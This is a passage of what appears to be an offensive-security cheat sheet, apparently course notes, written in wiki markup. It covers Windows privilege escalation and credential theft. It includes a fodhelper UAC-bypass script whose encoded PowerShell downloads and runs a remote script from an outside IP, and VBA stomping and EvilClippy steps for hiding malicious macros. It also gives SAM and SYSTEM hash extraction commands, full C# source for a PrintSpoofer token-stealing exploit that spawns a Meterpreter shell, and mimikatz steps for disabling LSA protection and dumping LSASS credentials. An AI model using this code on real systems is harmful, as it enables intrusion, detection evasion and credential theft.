    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
